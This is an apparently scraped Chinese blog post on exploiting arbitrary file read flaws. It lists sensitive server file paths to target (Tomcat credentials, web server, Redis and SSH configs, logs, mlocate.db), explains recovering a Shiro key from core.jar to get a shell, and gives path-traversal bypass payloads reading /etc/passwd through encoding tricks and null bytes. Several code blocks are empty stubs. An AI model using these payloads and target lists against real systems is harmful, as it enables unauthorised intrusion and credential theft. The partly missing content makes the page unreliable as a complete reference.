AFR深入利用的一些技巧
敏感文件路径
windows
1  |  | 
linux
1  |  | 
用户家目录
1  |  | 
主机凭证
1  |  | 
全盘路径⭐
适用于目标机器安装了mlocate的情况,不过一般可能需要root权限,locate命令利用mlocate.db数据库进行全盘文件名搜索,位置在/var/lib/mlocate/mlocate.db,获取到mlocate.db文件后本地利用如下命令输出指定路径:
1  |  | 
后端配置文件
- java站点
/WEB-INF/web.xml/WEB-INF/classes/applicationContext.xml/WEB-INF/classes/xxx/xxx/xxx.classcore.jar: 如果遇到Shiro站点,可以直接利用全盘路径找到core.jar,去下载core.jar,下载后反编译搜索Base64.decode直接找key,进而getshell。 - tomcat
/usr/local/tomcat/conf/tomcat-users.xml - nginx
/www/nginx/conf/nginx.conf/etc/nginx/nginx.conf/usr/local/nginx/conf/nginx.conf/usr/local/etc/nginx/nginx.conf - apache
/etc/httpd/conf/httpd.conf/etc/apache2/apache2.conf/etc/apache2/httpd.conf - redis
/etc/redis.conf - ssh
/etc/ssh/sshd_config 
日志文件
tomcat
可以先找到/tomcat/bin/catalina.sh,里边有log的配置路径/webapps/ROOT/logs/catalina.outapache
/var/log/apache2/access.log/var/log/apache2/error.log/var/log/httpd/access_log/etc/httpd/logs/access_log/etc/httpd/logs/error_log/etc/httpd/logs/error.lognginx
/var/log/nginx/access.log/var/log/nginx/error.log/usr/local/var/log/nginx/access.log/usr/local/nginx/logsjetty
/usr/local/services/jetty-8.1.16/logs/stderrout.log/usr/local/services/jetty-8.1.16/etc/jetty.xml
bypass
- url编码代替.或者/,如使用%2F代替/
?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd - 二次编码(%25)
?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd - 加入+
?filename=.+./.+./bin/redacted.dll - %00
?filename=.%00./file.php/etc/passwd%00.jpg \?filename=..%5c..%5c/windows/win.ini- Java %c0%ae 安全模式绕过
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd 
AFR深入利用的一些技巧
      http://example.com/2022/05/23/AFR深入利用的一些技巧/